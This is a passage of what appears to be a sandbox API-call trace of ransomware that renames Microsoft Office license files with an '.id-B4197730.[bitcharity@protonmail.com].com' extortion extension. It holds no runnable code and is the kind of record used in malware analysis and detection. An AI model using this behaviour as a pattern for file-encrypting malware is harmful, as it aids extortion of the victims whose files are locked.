hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.331] CloseHandle (hObject=0x1228) returned 1 [0253.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms") returned 82 [0253.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms") returned 82 [0253.563] lstrlenW (lpString=".doc") returned 4 [0253.564] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.564] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.564] CloseHandle (hObject=0x1228) returned 1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms") returned 86 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-phn.xrm-ms") returned 86 [0253.565] lstrlenW (lpString=".doc") returned 4 [0253.565] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.566] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.566] CloseHandle (hObject=0x1228) returned 1 [0253.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms") returned 92 [0253.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-pl.xrm-ms") returned 92 [0253.566] lstrlenW (lpString=".doc") returned 4 [0253.567] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.567] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.567] CloseHandle (hObject=0x1228) returned 1 [0253.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms") returned 93 [0253.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ppd.xrm-ms") returned 93 [0253.568] lstrlenW (lpString=".doc") returned 4 [0253.568] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.568] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeservicebypassr_prepidbypass-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.569] CloseHandle (hObject=0x1228) returned 1 [0253.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms") returned 96 [0253.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeServiceBypassR_PrepidBypass-ul-oob.xrm-ms") returned 96 [0253.569] lstrlenW (lpString=".doc") returned 4 [0253.570] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.570] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.570] CloseHandle (hObject=0x1228) returned 1 [0253.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms") returned 80 [0253.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-pl.xrm-ms") returned 80 [0253.571] lstrlenW (lpString=".doc") returned 4 [0253.572] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.572] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.572] CloseHandle (hObject=0x1228) returned 1 [0253.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms") returned 81 [0253.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ppd.xrm-ms") returned 81 [0253.573] lstrlenW (lpString=".doc") returned 4 [0253.573] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.573] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.574] CloseHandle (hObject=0x1228) returned 1 [0253.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms") returned 84 [0253.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-oob.xrm-ms") returned 84 [0253.574] lstrlenW (lpString=".doc") returned 4 [0253.575] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.575] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardmsdnr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.575] CloseHandle (hObject=0x1228) returned 1 [0253.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms") returned 84 [0253.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardMSDNR_Retail-ul-phn.xrm-ms") returned 84 [0253.576] lstrlenW (lpString=".doc") returned 4 [0253.576] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.577] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.577] CloseHandle (hObject=0x1228) returned 1 [0253.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms") returned 76 [0253.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ppd.xrm-ms") returned 76 [0253.577] lstrlenW (lpString=".doc") returned 4 [0253.578] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.578] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.579] CloseHandle (hObject=0x1228) returned 1 [0253.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms") returned 79 [0253.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Grace-ul-oob.xrm-ms") returned 79 [0253.580] lstrlenW (lpString=".doc") returned 4 [0253.581] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.581] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.581] CloseHandle (hObject=0x1228) returned 1 [0253.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms") returned 76 [0253.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-pl.xrm-ms") returned 76 [0253.582] lstrlenW (lpString=".doc") returned 4 [0253.583] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.583] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.583] CloseHandle (hObject=0x1228) returned 1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms") returned 77 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ppd.xrm-ms") returned 77 [0253.584] lstrlenW (lpString=".doc") returned 4 [0253.585] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.585] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.585] CloseHandle (hObject=0x1228) returned 1 [0253.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms") returned 80 [0253.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-oob.xrm-ms") returned 80 [0253.586] lstrlenW (lpString=".doc") returned 4 [0253.586] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.587] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.588] CloseHandle (hObject=0x1228) returned 1 [0253.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms") returned 80 [0253.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Retail-ul-phn.xrm-ms") returned 80 [0253.588] lstrlenW (lpString=".doc") returned 4 [0253.589] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.589] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.589] CloseHandle (hObject=0x1228) returned 1 [0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms") returned 75 [0253.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-pl.xrm-ms") returned 75 [0253.590] lstrlenW (lpString=".doc") returned 4 [0253.591] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.591] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.591] CloseHandle (hObject=0x1228) returned 1 [0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms") returned 76 [0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ppd.xrm-ms") returned 76 [0253.591] lstrlenW (lpString=".doc") returned 4 [0253.592] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.592] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.592] CloseHandle (hObject=0x1228) returned 1 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms") returned 79 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardR_Trial-ul-oob.xrm-ms") returned 79 [0253.593] lstrlenW (lpString=".doc") returned 4 [0253.593] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.594] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.594] CloseHandle (hObject=0x1228) returned 1 [0253.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms") returned 82 [0253.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ppd.xrm-ms") returned 82 [0253.594] lstrlenW (lpString=".doc") returned 4 [0253.595] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.595] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.595] CloseHandle (hObject=0x1228) returned 1 [0253.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms") returned 85 [0253.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul-oob.xrm-ms") returned 85 [0253.596] lstrlenW (lpString=".doc") returned 4 [0253.596] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.596] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.597] CloseHandle (hObject=0x1228) returned 1 [0253.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms") returned 81 [0253.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_KMS_Client-ul.xrm-ms") returned 81 [0253.597] lstrlenW (lpString=".doc") returned 4 [0253.598] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.598] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.598] CloseHandle (hObject=0x1228) returned 1 [0253.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms") returned 74 [0253.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-pl.xrm-ms") returned 74 [0253.599] lstrlenW (lpString=".doc") returned 4 [0253.599] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.599] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.600] CloseHandle (hObject=0x1228) returned 1 [0253.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms") returned 75 [0253.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ppd.xrm-ms") returned 75 [0253.600] lstrlenW (lpString=".doc") returned 4 [0253.601] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] SetFilePointerEx (in: hFile=0x1228, 